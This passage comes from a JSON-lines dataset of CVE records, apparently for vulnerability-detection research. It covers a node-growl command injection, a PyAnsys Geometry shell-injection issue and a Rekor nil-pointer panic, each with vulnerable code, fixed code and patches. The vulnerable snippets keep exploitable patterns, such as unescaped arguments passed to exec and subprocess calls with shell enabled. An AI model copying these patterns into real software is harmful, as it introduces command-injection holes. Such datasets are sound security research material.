args.push(options.url);\n      }\n      break;\n    case 'Linux-Growl':\n      args.push(cmd.msg);\n      args.push(msg.replace(/\\\\n/g, '\\n'));\n      if (options.title) args.push(options.title);\n      if (cmd.host) {\n        args.push(cmd.host.cmd, cmd.host.hostname)\n      }\n      break;\n    case 'Linux':\n      if (options.title) {\n        args.push(options.title);\n        args.push(cmd.msg);\n        args.push(msg.replace(/\\\\n/g, '\\n'));\n      } else {\n        args.push(msg.replace(/\\\\n/g, '\\n'));\n      }\n      break;\n    case 'Windows':\n      args.push(msg.replace(/\\\\n/g, '\\n'));\n      if (options.title) args.push(cmd.title + options.title);\n      if (options.url) args.push(cmd.url + options.url);\n      break;\n    case 'Custom':\n      args[0] = (function(origCommand) {\n        var message = options.title\n          ? options.title + ': ' + msg\n          : msg;\n        var command = origCommand.replace(/(^|[^%])%s/g, '$1' + message);\n        if (command === origCommand) args.push(message);\n        return command;\n      })(args[0]);\n      break;\n  }\n  var cmd_to_exec = args[0];\n  args.shift();\n  spawn(cmd_to_exec, args);\n};"}], "vul_patch": "--- a/lib/growl.js\n+++ b/lib/growl.js\n@@ -26,18 +26,18 @@\n         flag = flag || /^png|gif|jpe?g$/.test(ext) && 'image'\n         flag = flag || ext && (image = ext) && 'icon'\n         flag = flag || 'icon'\n-        args.push('--' + flag, quote(image))\n+        args.push('--' + flag, image)\n         break;\n       case 'Darwin-NotificationCenter':\n-        args.push(cmd.icon, quote(image));\n+        args.push(cmd.icon, image);\n         break;\n       case 'Linux':\n-        args.push(cmd.icon, quote(image));\n+        args.push(cmd.icon, image);\n         // libnotify defaults to sticky, set a hint for transient notifications\n         if (!options.sticky) args.push('--hint=int:transient:1');\n         break;\n       case 'Windows':\n-        args.push(cmd.icon + quote(image));\n+        args.push(cmd.icon + image);\n         break;\n     }\n   }\n@@ -67,61 +67,61 @@\n   switch(cmd.type) {\n     case 'Darwin-Growl':\n       args.push(cmd.msg);\n-      args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n-      if (options.title) args.push(quote(options.title));\n+      args.push(msg.replace(/\\\\n/g, '\\n'));\n+      if (options.title) args.push(options.title);\n       break;\n     case 'Darwin-NotificationCenter':\n       args.push(cmd.msg);\n-      var stringifiedMsg = quote(msg);\n+      var stringifiedMsg = msg;\n       var escapedMsg = stringifiedMsg.replace(/\\\\n/g, '\\n');\n       args.push(escapedMsg);\n       if (options.title) {\n         args.push(cmd.title);\n-        args.push(quote(options.title));\n+        args.push(options.title);\n       }\n       if (options.subtitle) {\n         args.push(cmd.subtitle);\n-        args.push(quote(options.subtitle));\n+        args.push(options.subtitle);\n       }\n       if (options.url) {\n         args.push(cmd.url);\n-        args.push(quote(options.url));\n+        args.push(options.url);\n       }\n       break;\n     case 'Linux-Growl':\n       args.push(cmd.msg);\n-      args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n-      if (options.title) args.push(quote(options.title));\n+      args.push(msg.replace(/\\\\n/g, '\\n'));\n+      if (options.title) args.push(options.title);\n       if (cmd.host) {\n         args.push(cmd.host.cmd, cmd.host.hostname)\n       }\n       break;\n     case 'Linux':\n       if (options.title) {\n-        args.push(quote(options.title));\n+        args.push(options.title);\n         args.push(cmd.msg);\n-        args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n+        args.push(msg.replace(/\\\\n/g, '\\n'));\n       } else {\n-        args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n+        args.push(msg.replace(/\\\\n/g, '\\n'));\n       }\n       break;\n     case 'Windows':\n-      args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n-      if (options.title) args.push(cmd.title + quote(options.title));\n-      if (options.url) args.push(cmd.url + quote(options.url));\n+      args.push(msg.replace(/\\\\n/g, '\\n'));\n+      if (options.title) args.push(cmd.title + options.title);\n+      if (options.url) args.push(cmd.url + options.url);\n       break;\n     case 'Custom':\n       args[0] = (function(origCommand) {\n         var message = options.title\n           ? options.title + ': ' + msg\n           : msg;\n-        var command = origCommand.replace(/(^|[^%])%s/g, '$1' + quote(message));\n-        if (command === origCommand) args.push(quote(message));\n+        var command = origCommand.replace(/(^|[^%])%s/g, '$1' + message);\n+        if (command === origCommand) args.push(message);\n         return command;\n       })(args[0]);\n       break;\n   }\n-\n-  // execute\n-  exec(args.join(' '), fn);\n+  var cmd_to_exec = args[0];\n+  args.shift();\n+  spawn(cmd_to_exec, args);\n };\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-16042:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-growl\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2024-29189", "cve_description": "PyAnsys Geometry is a Python client library for the Ansys Geometry service and other CAD Ansys products. On file src/ansys/geometry/core/connection/product_instance.py, upon calling this method _start_program directly, users could exploit its usage to perform malicious operations on the current machine where the script is ran. This vulnerability is fixed in 0.3.3 and 0.4.12.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ansys/pyansys-geometry", "patch_url": ["https://github.com/ansys/pyansys-geometry/commit/f82346b9432b06532e84f3278125f5879b4e9f3f", "https://github.com/ansys/pyansys-geometry/commit/902071701c4f3a8258cbaa46c28dc0a65442d1bc"], "programing_language": "Python", "vul_func": [{"id": "vul_py_385_1", "commit": "138ae18f810b3e556f90ca12164fc68bc76f063c", "file_path": "src/ansys/geometry/core/connection/product_instance.py", "start_line": 170, "end_line": 311, "snippet": "def prepare_and_start_backend(\n    backend_type: BackendType,\n    product_version: int = None,\n    host: str = \"localhost\",\n    port: int = None,\n    enable_trace: bool = False,\n    log_level: int = 2,\n    api_version: ApiVersions = ApiVersions.LATEST,\n    timeout: int = 150,\n    manifest_path: str = None,\n    logs_folder: str = None,\n    hidden: bool = False,\n) -> \"Modeler\":\n    \"\"\"\n    Start the requested service locally using the ``ProductInstance`` class.\n\n    When calling this method, a standalone service or product session is started.\n    By default, if an endpoint is specified (by defining `host` and `port` parameters)\n    but the endpoint is not available, the startup will fail. Otherwise, it will try to\n    launch its own service.\n\n    Parameters\n    ----------\n    product_version: ``int``, optional\n        The product version to be started. Goes from v23.2.1 to\n        the latest. Default is ``None``.\n        If a specific product version is requested but not installed locally,\n        a SystemError will be raised.\n    host: str, optional\n        IP address at which the Geometry service will be deployed. By default,\n        its value will be ``localhost``.\n    port : int, optional\n        Port at which the Geometry service will be deployed. By default, its\n        value will be ``None``.\n    enable_trace : bool, optional\n        Boolean enabling the logs trace on the Geometry service console window.\n        By default its value is ``False``.\n    log_level : int, optional\n        Backend's log level from 0 to 3:\n            0: Chatterbox\n            1: Debug\n            2: Warning\n            3: Error\n\n        The default is ``2`` (Warning).\n    api_version: ``ApiVersions``, optional\n        The backend's API version to be used at runtime. Goes from API v21 to\n        the latest. Default is ``ApiVersions.LATEST``.\n    timeout : int, optional\n        Timeout for starting the backend startup process. The default is 150.\n    manifest_path : str, optional\n        Used to specify a manifest file path for the ApiServerAddin. This way,\n        it is possible to run an ApiServerAddin from a version an older product\n        version. Only applicable for Ansys Discovery and Ansys SpaceClaim.\n    logs_folder : sets the backend's logs folder path. If nothing is defined,\n        the backend will use its default path.\n    hidden : starts the product hiding its UI. Default is ``False``.\n\n    Raises\n    ------\n    ConnectionError\n        If the specified endpoint is already in use, a connection error will be raised.\n    SystemError\n        If there is not an Ansys product 23.2 version or later installed\n        or if a specific product's version is requested but not installed locally then\n        a SystemError will be raised.\n\n    Returns\n    -------\n    Modeler\n        Instance of the Geometry service.\n    \"\"\"\n    from ansys.geometry.core.modeler import Modeler\n\n    port = _check_port_or_get_one(port)\n    installations = get_available_ansys_installations()\n    if product_version != None:\n        _check_version_is_available(product_version, installations)\n    else:\n        product_version = get_latest_ansys_installation()[0]\n        _check_minimal_versions(product_version)\n\n    args = []\n    env_copy = _get_common_env(\n        host=host,\n        port=port,\n        enable_trace=enable_trace,\n        log_level=log_level,\n        logs_folder=logs_folder,\n    )\n\n    if backend_type == BackendType.DISCOVERY:\n        args.append(os.path.join(installations[product_version], DISCOVERY_FOLDER, DISCOVERY_EXE))\n        if hidden is True:\n            args.append(BACKEND_DISCOVERY_HIDDEN)\n\n        # Here begins the spaceclaim arguments.\n        args.append(BACKEND_SPACECLAIM_OPTIONS)\n        args.append(\n            BACKEND_ADDIN_MANIFEST_ARGUMENT\n            + _manifest_path_provider(product_version, installations, manifest_path)\n        )\n        env_copy[BACKEND_API_VERSION_VARIABLE] = str(api_version)\n\n    elif backend_type == BackendType.SPACECLAIM:\n        args.append(os.path.join(installations[product_version], SPACECLAIM_FOLDER, SPACECLAIM_EXE))\n        if hidden is True:\n            args.append(BACKEND_SPACECLAIM_HIDDEN)\n            args.append(BACKEND_SPLASH_OFF)\n        args.append(\n            BACKEND_ADDIN_MANIFEST_ARGUMENT\n            + _manifest_path_provider(product_version, installations, manifest_path)\n        )\n        env_copy[BACKEND_API_VERSION_VARIABLE] = str(api_version)\n        env_copy[BACKEND_SPACECLAIM_HIDDEN_ENVVAR_KEY] = BACKEND_SPACECLAIM_HIDDEN_ENVVAR_VALUE\n\n    elif backend_type == BackendType.WINDOWS_SERVICE:\n        latest_version = get_latest_ansys_installation()[0]\n        args.append(\n            os.path.join(\n                installations[latest_version], WINDOWS_GEOMETRY_SERVICE_FOLDER, GEOMETRY_SERVICE_EXE\n            )\n        )\n    else:\n        raise RuntimeError(\n            f\"Cannot connect to backend {backend_type.name} using ``prepare_and_start_backend()``\"\n        )\n\n    LOG.info(f\"Launching ProductInstance for {backend_type.name}\")\n    LOG.debug(f\"Args: {args}\")\n    LOG.debug(f\"Environment variables: {env_copy}\")\n\n    instance = ProductInstance(_start_program(args, env_copy).pid)\n\n    # Verify that the backend is ready to accept connections\n    # before returning the Modeler instance.\n    LOG.info(\"Waiting for backend to be ready...\")\n    _wait_for_backend(host, port, timeout)\n\n    return Modeler(\n        host=host, port=port, timeout=timeout, product_instance=instance, backend_type=backend_type\n    )"}, {"id": "vul_py_385_2", "commit": "138ae18f810b3e556f90ca12164fc68bc76f063c", "file_path": "src/ansys/geometry/core/connection/product_instance.py", "start_line": 403, "end_line": 429, "snippet": "def _start_program(args: List[str], local_env: Dict[str, str]) -> subprocess.Popen:\n    \"\"\"\n    Start the program where the path is the first item of the ``args`` array argument.\n\n    Parameters\n    ----------\n    args : List[str]\n        List of arguments to be passed to the program. The first list's item shall\n        be the program path.\n    local_env : Dict[str,str]\n        Environment variables to be passed to the program.\n\n    Returns\n    -------\n    subprocess.Popen\n        The subprocess object.\n    \"\"\"\n    return subprocess.Popen(\n        args,\n        shell=os.name != \"nt\",\n        stdin=subprocess.DEVNULL,\n        stdout=subprocess.DEVNULL,\n        stderr=subprocess.DEVNULL,\n        env=local_env,\n    )\n\n"}], "fix_func": [{"id": "fix_py_385_1", "commit": "f82346b9432b06532e84f3278125f5879b4e9f3f", "file_path": "src/ansys/geometry/core/connection/product_instance.py", "start_line": 170, "end_line": 314, "snippet": "def prepare_and_start_backend(\n    backend_type: BackendType,\n    product_version: int = None,\n    host: str = \"localhost\",\n    port: int = None,\n    enable_trace: bool = False,\n    log_level: int = 2,\n    api_version: ApiVersions = ApiVersions.LATEST,\n    timeout: int = 150,\n    manifest_path: str = None,\n    logs_folder: str = None,\n    hidden: bool = False,\n) -> \"Modeler\":\n    \"\"\"\n    Start the requested service locally using the ``ProductInstance`` class.\n\n    When calling this method, a standalone service or product session is started.\n    By default, if an endpoint is specified (by defining `host` and `port` parameters)\n    but the endpoint is not available, the startup will fail. Otherwise, it will try to\n    launch its own service.\n\n    Parameters\n    ----------\n    product_version: ``int``, optional\n        The product version to be started. Goes from v23.2.1 to\n        the latest. Default is ``None``.\n        If a specific product version is requested but not installed locally,\n        a SystemError will be raised.\n    host: str, optional\n        IP address at which the Geometry service will be deployed. By default,\n        its value will be ``localhost``.\n    port : int, optional\n        Port at which the Geometry service will be deployed. By default, its\n        value will be ``None``.\n    enable_trace : bool, optional\n        Boolean enabling the logs trace on the Geometry service console window.\n        By default its value is ``False``.\n    log_level : int, optional\n        Backend's log level from 0 to 3:\n            0: Chatterbox\n            1: Debug\n            2: Warning\n            3: Error\n\n        The default is ``2`` (Warning).\n    api_version: ``ApiVersions``, optional\n        The backend's API version to be used at runtime. Goes from API v21 to\n        the latest. Default is ``ApiVersions.LATEST``.\n    timeout : int, optional\n        Timeout for starting the backend startup process. The default is 150.\n    manifest_path : str, optional\n        Used to specify a manifest file path for the ApiServerAddin. This way,\n        it is possible to run an ApiServerAddin from a version an older product\n        version. Only applicable for Ansys Discovery and Ansys SpaceClaim.\n    logs_folder : sets the backend's logs folder path. If nothing is defined,\n        the backend will use its default path.\n    hidden : starts the product hiding its UI. Default is ``False``.\n\n    Raises\n    ------\n    ConnectionError\n        If the specified endpoint is already in use, a connection error will be raised.\n    SystemError\n        If there is not an Ansys product 23.2 version or later installed\n        or if a specific product's version is requested but not installed locally then\n        a SystemError will be raised.\n\n    Returns\n    -------\n    Modeler\n        Instance of the Geometry service.\n    \"\"\"\n    from ansys.geometry.core.modeler import Modeler\n\n    if os.name != \"nt\":  # pragma: no cover\n        raise RuntimeError(\"Method 'prepare_and_start_backend' is only available on Windows.\")\n\n    port = _check_port_or_get_one(port)\n    installations = get_available_ansys_installations()\n    if product_version != None:\n        _check_version_is_available(product_version, installations)\n    else:\n        product_version = get_latest_ansys_installation()[0]\n        _check_minimal_versions(product_version)\n\n    args = []\n    env_copy = _get_common_env(\n        host=host,\n        port=port,\n        enable_trace=enable_trace,\n        log_level=log_level,\n        logs_folder=logs_folder,\n    )\n\n    if backend_type == BackendType.DISCOVERY:\n        args.append(os.path.join(installations[product_version], DISCOVERY_FOLDER, DISCOVERY_EXE))\n        if hidden is True:\n            args.append(BACKEND_DISCOVERY_HIDDEN)\n\n        # Here begins the spaceclaim arguments.\n        args.append(BACKEND_SPACECLAIM_OPTIONS)\n        args.append(\n            BACKEND_ADDIN_MANIFEST_ARGUMENT\n            + _manifest_path_provider(product_version, installations, manifest_path)\n        )\n        env_copy[BACKEND_API_VERSION_VARIABLE] = str(api_version)\n\n    elif backend_type == BackendType.SPACECLAIM:\n        args.append(os.path.join(installations[product_version], SPACECLAIM_FOLDER, SPACECLAIM_EXE))\n        if hidden is True:\n            args.append(BACKEND_SPACECLAIM_HIDDEN)\n            args.append(BACKEND_SPLASH_OFF)\n        args.append(\n            BACKEND_ADDIN_MANIFEST_ARGUMENT\n            + _manifest_path_provider(product_version, installations, manifest_path)\n        )\n        env_copy[BACKEND_API_VERSION_VARIABLE] = str(api_version)\n        env_copy[BACKEND_SPACECLAIM_HIDDEN_ENVVAR_KEY] = BACKEND_SPACECLAIM_HIDDEN_ENVVAR_VALUE\n\n    elif backend_type == BackendType.WINDOWS_SERVICE:\n        latest_version = get_latest_ansys_installation()[0]\n        args.append(\n            os.path.join(\n                installations[latest_version], WINDOWS_GEOMETRY_SERVICE_FOLDER, GEOMETRY_SERVICE_EXE\n            )\n        )\n    else:\n        raise RuntimeError(\n            f\"Cannot connect to backend {backend_type.name} using ``prepare_and_start_backend()``\"\n        )\n\n    LOG.info(f\"Launching ProductInstance for {backend_type.name}\")\n    LOG.debug(f\"Args: {args}\")\n    LOG.debug(f\"Environment variables: {env_copy}\")\n\n    instance = ProductInstance(_start_program(args, env_copy).pid)\n\n    # Verify that the backend is ready to accept connections\n    # before returning the Modeler instance.\n    LOG.info(\"Waiting for backend to be ready...\")\n    _wait_for_backend(host, port, timeout)\n\n    return Modeler(\n        host=host, port=port, timeout=timeout, product_instance=instance, backend_type=backend_type\n    )"}, {"id": "fix_py_385_2", "commit": "f82346b9432b06532e84f3278125f5879b4e9f3f", "file_path": "src/ansys/geometry/core/connection/product_instance.py", "start_line": 406, "end_line": 429, "snippet": "def _start_program(args: List[str], local_env: Dict[str, str]) -> subprocess.Popen:\n    \"\"\"\n    Start the program where the path is the first item of the ``args`` array argument.\n\n    Parameters\n    ----------\n    args : List[str]\n        List of arguments to be passed to the program. The first list's item shall\n        be the program path.\n    local_env : Dict[str,str]\n        Environment variables to be passed to the program.\n\n    Returns\n    -------\n    subprocess.Popen\n        The subprocess object.\n    \"\"\"\n    return subprocess.Popen(\n        args,\n        stdin=subprocess.DEVNULL,\n        stdout=subprocess.DEVNULL,\n        stderr=subprocess.DEVNULL,\n        env=local_env,\n    )"}], "vul_patch": "--- a/src/ansys/geometry/core/connection/product_instance.py\n+++ b/src/ansys/geometry/core/connection/product_instance.py\n@@ -72,6 +72,9 @@\n     \"\"\"\n     from ansys.geometry.core.modeler import Modeler\n \n+    if os.name != \"nt\":  # pragma: no cover\n+        raise RuntimeError(\"Method 'prepare_and_start_backend' is only available on Windows.\")\n+\n     port = _check_port_or_get_one(port)\n     installations = get_available_ansys_installations()\n     if product_version != None:\n\n--- a/src/ansys/geometry/core/connection/product_instance.py\n+++ b/src/ansys/geometry/core/connection/product_instance.py\n@@ -17,10 +17,8 @@\n     \"\"\"\n     return subprocess.Popen(\n         args,\n-        shell=os.name != \"nt\",\n         stdin=subprocess.DEVNULL,\n         stdout=subprocess.DEVNULL,\n         stderr=subprocess.DEVNULL,\n         env=local_env,\n     )\n-\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-33199", "cve_description": "Rekor's goals are to provide an immutable tamper resistant ledger of metadata generated within a software projects supply chain. A malformed proposed entry of the `intoto/v0.0.2` type can cause a panic on a thread within the Rekor process. The thread is recovered so the client receives a 500 error message and service still continues, so the availability impact of this is minimal. This has been fixed in v1.2.0 of Rekor. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-617": {"name": "Reachable Assertion", "description": "The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary."}}, "repo": "https://github.com/sigstore/rekor", "patch_url": ["https://github.com/sigstore/rekor/commit/140c5add105179e5ffd9e3e114fd1b6b93aebbd4"], "programing_language": "Go", "vul_func": [{"id": "vul_go_286_1", "commit": "85bb2bc7a35dcc94cd94e18984711806f437dcb6", "file_path": "pkg/types/dsse/v0.0.1/entry.go", "start_line": 74, "end_line": 145, "snippet": "func (v V001Entry) IndexKeys() ([]string, error) {\n\tvar result []string\n\n\tfor _, sig := range v.DSSEObj.Signatures {\n\t\tkeyObj, err := x509.NewPublicKey(bytes.NewReader(*sig.Verifier))\n\t\tif err != nil {\n\t\t\treturn result, err\n\t\t}\n\n\t\tcanonKey, err := keyObj.CanonicalValue()\n\t\tif err != nil {\n\t\t\treturn result, fmt.Errorf(\"could not canonicalize key: %w\", err)\n\t\t}\n\n\t\tkeyHash := sha256.Sum256(canonKey)\n\t\tresult = append(result, \"sha256:\"+hex.EncodeToString(keyHash[:]))\n\n\t\tresult = append(result, keyObj.Subjects()...)\n\t}\n\n\tif v.DSSEObj.PayloadHash != nil {\n\t\tpayloadHashKey := strings.ToLower(fmt.Sprintf(\"%s:%s\", *v.DSSEObj.PayloadHash.Algorithm, *v.DSSEObj.PayloadHash.Value))\n\t\tresult = append(result, payloadHashKey)\n\t}\n\n\tif v.DSSEObj.EnvelopeHash != nil {\n\t\tenvelopeHashKey := strings.ToLower(fmt.Sprintf(\"%s:%s\", *v.DSSEObj.EnvelopeHash.Algorithm, *v.DSSEObj.EnvelopeHash.Value))\n\t\tresult = append(result, envelopeHashKey)\n\t}\n\n\tif v.env == nil {\n\t\tlog.Logger.Info(\"DSSEObj content or DSSE envelope is nil, returning partial set of keys\")\n\t\treturn result, nil\n\t}\n\n\tswitch v.env.PayloadType {\n\tcase in_toto.PayloadType:\n\n\t\tif v.env.Payload == \"\" {\n\t\t\tlog.Logger.Info(\"DSSEObj DSSE payload is empty\")\n\t\t\treturn result, nil\n\t\t}\n\t\tdecodedPayload, err := v.env.DecodeB64Payload()\n\t\tif err != nil {\n\t\t\treturn result, fmt.Errorf(\"could not decode envelope payload: %w\", err)\n\t\t}\n\t\tstatement, err := parseStatement(decodedPayload)\n\t\tif err != nil {\n\t\t\treturn result, err\n\t\t}\n\t\tfor _, s := range statement.Subject {\n\t\t\tfor alg, ds := range s.Digest {\n\t\t\t\tresult = append(result, alg+\":\"+ds)\n\t\t\t}\n\t\t}\n\t\t// Not all in-toto statements will contain a SLSA provenance predicate.\n\t\t// See https://github.com/in-toto/attestation/blob/main/spec/README.md#predicate\n\t\t// for other predicates.\n\t\tif predicate, err := parseSlsaPredicate(decodedPayload); err == nil {\n\t\t\tif predicate.Predicate.Materials != nil {\n\t\t\t\tfor _, s := range predicate.Predicate.Materials {\n\t\t\t\t\tfor alg, ds := range s.Digest {\n\t\t\t\t\t\tresult = append(result, alg+\":\"+ds)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tdefault:\n\t\tlog.Logger.Infof(\"Unknown DSSE envelope payloadType: %s\", v.env.PayloadType)\n\t}\n\treturn result, nil\n}"}, {"id": "vul_go_286_2", "commit": "85bb2bc7a35dcc94cd94e18984711806f437dcb6", "file_path": "pkg/types/dsse/v0.0.1/entry.go", "start_line": 163, "end_line": 206, "snippet": "func (v *V001Entry) Unmarshal(pe models.ProposedEntry) error {\n\tit, ok := pe.(*models.DSSE)\n\tif !ok {\n\t\treturn errors.New(\"cannot unmarshal non DSSE v0.0.1 type\")\n\t}\n\n\tdsseObj := &models.DSSEV001Schema{}\n\n\tif err := types.DecodeEntry(it.Spec, dsseObj); err != nil {\n\t\treturn err\n\t}\n\n\t// field validation\n\tif err := dsseObj.Validate(strfmt.Default); err != nil {\n\t\treturn err\n\t}\n\n\t// either we have just proposed content or the canonicalized fields\n\tif dsseObj.ProposedContent == nil {\n\t\t// then we need canonicalized fields, and all must be present (if present, they would have been validated in the above call to Validate())\n\t\tif dsseObj.EnvelopeHash == nil || dsseObj.PayloadHash == nil || len(dsseObj.Signatures) == 0 {\n\t\t\treturn errors.New(\"either proposedContent or envelopeHash, payloadHash, and signatures must be present\")\n\t\t}\n\t\tv.DSSEObj = *dsseObj\n\t\treturn nil\n\t}\n\t// if we're here, then we're trying to propose a new entry so we check to ensure client's aren't setting server-side computed fields\n\tif dsseObj.EnvelopeHash != nil || dsseObj.PayloadHash != nil || len(dsseObj.Signatures) != 0 {\n\t\treturn errors.New(\"either proposedContent or envelopeHash, payloadHash, and signatures must be present but not both\")\n\t}\n\n\tenv := &dsse.Envelope{}\n\tif err := json.Unmarshal([]byte(*dsseObj.ProposedContent.Envelope), env); err != nil {\n\t\treturn err\n\t}\n\n\tif len(env.Signatures) == 0 {\n\t\treturn errors.New(\"DSSE envelope must contain 1 or more signatures\")\n\t}\n\n\tallPubKeyBytes := make([][]byte, 0)\n\tfor _, publicKey := range dsseObj.ProposedContent.Verifiers {\n\t\tallPubKeyBytes = append(allPubKeyBytes, publicKey)\n\t}"}], "fix_func": [{"id": "fix_go_286_1", "commit": "140c5add105179e5ffd9e3e114fd1b6b93aebbd4", "file_path": "pkg/types/dsse/v0.0.1/entry.go", "start_line": 74, "end_line": 148, "snippet": "func (v V001Entry) IndexKeys() ([]string, error) {\n\tvar result []string\n\n\tfor _, sig := range v.DSSEObj.Signatures {\n\t\tif sig == nil || sig.Verifier == nil {\n\t\t\treturn result, errors.New(\"missing or malformed public key\")\n\t\t}\n\t\tkeyObj, err := x509.NewPublicKey(bytes.NewReader(*sig.Verifier))\n\t\tif err != nil {\n\t\t\treturn result, err\n\t\t}\n\n\t\tcanonKey, err := keyObj.CanonicalValue()\n\t\tif err != nil {\n\t\t\treturn result, fmt.Errorf(\"could not canonicalize key: %w\", err)\n\t\t}\n\n\t\tkeyHash := sha256.Sum256(canonKey)\n\t\tresult = append(result, \"sha256:\"+hex.EncodeToString(keyHash[:]))\n\n\t\tresult = append(result, keyObj.Subjects()...)\n\t}\n\n\tif v.DSSEObj.PayloadHash != nil {\n\t\tpayloadHashKey := strings.ToLower(fmt.Sprintf(\"%s:%s\", *v.DSSEObj.PayloadHash.Algorithm, *v.DSSEObj.PayloadHash.Value))\n\t\tresult = append(result, payloadHashKey)\n\t}\n\n\tif v.DSSEObj.EnvelopeHash != nil {\n\t\tenvelopeHashKey := strings.ToLower(fmt.Sprintf(\"%s:%s\", *v.DSSEObj.EnvelopeHash.Algorithm, *v.DSSEObj.EnvelopeHash.Value))\n\t\tresult = append(result, envelopeHashKey)\n\t}\n\n\tif v.env == nil {\n\t\tlog.Logger.Info(\"DSSEObj content or DSSE envelope is nil, returning partial set of keys\")\n\t\treturn result, nil\n\t}\n\n\tswitch v.env.PayloadType {\n\tcase in_toto.PayloadType:\n\n\t\tif v.env.Payload == \"\" {\n\t\t\tlog.Logger.Info(\"DSSEObj DSSE payload is empty\")\n\t\t\treturn result, nil\n\t\t}\n\t\tdecodedPayload, err := v.env.DecodeB64Payload()\n\t\tif err != nil {\n\t\t\treturn result, fmt.Errorf(\"could not decode envelope payload: %w\", err)\n\t\t}\n\t\tstatement, err := parseStatement(decodedPayload)\n\t\tif err != nil {\n\t\t\treturn result, err\n\t\t}\n\t\tfor _, s := range statement.Subject {\n\t\t\tfor alg, ds := range s.Digest {\n\t\t\t\tresult = append(result, alg+\":\"+ds)\n\t\t\t}\n\t\t}\n\t\t// Not all in-toto statements will contain a SLSA provenance predicate.\n\t\t// See https://github.com/in-toto/attestation/blob/main/spec/README.md#predicate\n\t\t// for other predicates.\n\t\tif predicate, err := parseSlsaPredicate(decodedPayload); err == nil {\n\t\t\tif predicate.Predicate.Materials != nil {\n\t\t\t\tfor _, s := range predicate.Predicate.Materials {\n\t\t\t\t\tfor alg, ds := range s.Digest {\n\t\t\t\t\t\tresult = append(result, alg+\":\"+ds)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tdefault:\n\t\tlog.Logger.Infof(\"Unknown DSSE envelope payloadType: %s\", v.env.PayloadType)\n\t}\n\treturn result, nil\n}"}, {"id": "fix_go_286_2", "commit": "140c5add105179e5ffd9e3e114fd1b6b93aebbd4", "file_path": "pkg/types/dsse/v0.0.1/entry.go", "start_line": 166, "end_line": 213, "snippet": "func (v *V001Entry) Unmarshal(pe models.ProposedEntry) error {\n\tit, ok := pe.(*models.DSSE)\n\tif !ok {\n\t\treturn errors.New(\"cannot unmarshal non DSSE v0.0.1 type\")\n\t}\n\n\tdsseObj := &models.DSSEV001Schema{}\n\n\tif err := types.DecodeEntry(it.Spec, dsseObj); err != nil {\n\t\treturn err\n\t}\n\n\t// field validation\n\tif err := dsseObj.Validate(strfmt.Default); err != nil {\n\t\treturn err\n\t}\n\n\t// either we have just proposed content or the canonicalized fields\n\tif dsseObj.ProposedContent == nil {\n\t\t// then we need canonicalized fields, and all must be present (if present, they would have been validated in the above call to Validate())\n\t\tif dsseObj.EnvelopeHash == nil || dsseObj.PayloadHash == nil || len(dsseObj.Signatures) == 0 {\n\t\t\treturn errors.New(\"either proposedContent or envelopeHash, payloadHash, and signatures must be present\")\n\t\t}\n\t\tv.DSSEObj = *dsseObj\n\t\treturn nil\n\t}\n\t// if we're here, then we're trying to propose a new entry so we check to ensure client's aren't setting server-side computed fields\n\tif dsseObj.EnvelopeHash != nil || dsseObj.PayloadHash != nil || len(dsseObj.Signatures) != 0 {\n\t\treturn errors.New(\"either proposedContent or envelopeHash, payloadHash, and signatures must be present but not both\")\n\t}\n\n\tenv := &dsse.Envelope{}\n\tif err := json.Unmarshal([]byte(*dsseObj.ProposedContent.Envelope), env); err != nil {\n\t\treturn err\n\t}\n\n\tif len(env.Signatures) == 0 {\n\t\treturn errors.New(\"DSSE envelope must contain 1 or more signatures\")\n\t}\n\n\tallPubKeyBytes := make([][]byte, 0)\n\tfor _, publicKey := range dsseObj.ProposedContent.Verifiers {\n\t\tif publicKey == nil {\n\t\t\treturn errors.New(\"an invalid null verifier was provided in ProposedContent\")\n\t\t}\n\n\t\tallPubKeyBytes = append(allPubKeyBytes, publicKey)\n\t}"}], "vul_patch": "--- a/pkg/types/dsse/v0.0.1/entry.go\n+++ b/pkg/types/dsse/v0.0.1/entry.go\n@@ -2,6 +2,9 @@\n \tvar result []string\n \n \tfor _, sig := range v.DSSEObj.Signatures {\n+\t\tif sig == nil || sig.Verifier == nil {\n+\t\t\treturn result, errors.New(\"missing or malformed public key\")\n+\t\t}\n \t\tkeyObj, err := x509.NewPublicKey(bytes.NewReader(*sig.Verifier))\n \t\tif err != nil {\n \t\t\treturn result, err\n\n--- a/pkg/types/dsse/v0.0.1/entry.go\n+++ b/pkg/types/dsse/v0.0.1/entry.go\n@@ -40,5 +40,9 @@\n \n \tallPubKeyBytes := make([][]byte, 0)\n \tfor _, publicKey := range dsseObj.ProposedContent.Verifiers {\n+\t\tif publicKey == nil {\n+\t\t\treturn errors.New(\"an invalid null verifier was provided in ProposedContent\")\n+\t\t}\n+\n \t\tallPubKeyBytes = append(allPubKeyBytes, publicKey)\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
